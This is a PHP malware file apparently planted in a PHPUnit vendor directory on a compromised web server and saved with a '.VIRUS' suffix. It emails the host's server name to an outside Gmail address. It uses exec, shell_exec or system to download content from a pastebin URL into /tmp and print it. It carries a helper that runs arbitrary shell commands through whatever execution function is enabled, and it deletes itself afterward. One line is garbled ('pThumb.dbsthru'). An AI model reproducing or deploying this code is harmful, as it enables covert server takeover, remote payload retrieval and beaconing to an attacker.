Current File : /home/jvzmxxx/wiki1/vendor/phpunit/phpunit/src/Util/PHP/l.php.VIRUS
<?php
$recipient = "gangbangshot7@gmail.com";
$sender_email = "noreply@spamid.com";
$sender_subj = "Test Mailer ".$_SERVER['SERVER_NAME']."";
$sender_body = "Test Mailer ".$_SERVER['SERVER_NAME']."";
$headers = 'To: '.$dest_email."\n";
$headers .= 'From: '.$sender_name.' '.$sender_email."\n"; function safemode() {
if ( @ini_get("safe_mode") OR eregi("on",@ini_get("safe_mode")) ) { return TRUE; }
else { return FALSE; }
}
function getdisfunc() {
$disfunc = @ini_get("disable_functions");
if (!empty($disfunc)) {
$disfunc = str_replace(" ","",$disfunc);
$disfunc = explode(",",$disfunc);
}
else { $disfunc= array(); }
return $disfunc;
}
function enabled($func) {
if ( function_exists($func) && is_callable($func) && !in_array($func,getdisfunc()) ) { return TRUE; }
else { return FALSE; }
}
if (function_exists('exec')) {
@exec('cd /tmp;GET http://pastebin.com/raw/hxqFpVzH>db.db;cat db.db');
}
elseif(function_exists('shell_exec')) {
@shell_exec('cd /tmp;GET http://pastebin.com/raw/hxqFpVzH>db.db;cat db.db');
}
elseif(function_exists('system')) {
@system('cd /tmp;GET http://pastebin.com/raw/hxqFpVzH>db.db;cat db.db');
}
elseif(function_exists('pThumb.dbsthru')) {
@pdb.dbsthru('cd /tmp;GET http://pastebin.com/raw/hxqFpVzH>db.db;cat db.db');
}

function fx29exec($cmd) {
$output = "";
if ( enabled("popen") ) {
$h = popen($cmd.' 2>&1', 'r');
if ( is_resource($h) ) {
while ( !feof($h) ) { $output .= fread($h, 2096); }
pclose($h);
}
}
elseif ( enabled("passthru") ) { @ob_start(); passthru($cmd); $output = @ob_get_contents(); @ob_end_clean(); }
elseif ( enabled("system") ) { @ob_start(); system($cmd); $output = @ob_get_contents(); @ob_end_clean(); }
elseif ( enabled("exec") ) { exec($cmd,$o); $output = join("",$o); }
elseif ( enabled("shell_exec") ) { $output = shell_exec($cmd); }
//echo $output;
return $output;
}

if (mail($recipient,$sender_subj,$sender_body,$headers))
{
if (fx29exec("unzip -h")) {
echo "Unzip OK</br>";
} else {
echo "Unzip Error</br>";
}
$get = file_get_contents("/tmp/db.db");
if ($get) {
echo $get;
} else {
echo "GET ERROR</br>";
}
if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
die('</br>Mail OK </br>=====================</br>Check Email </br>');
else
echo 'unlink error!'; 
} else {
echo "Mail Error</br>";
}
?>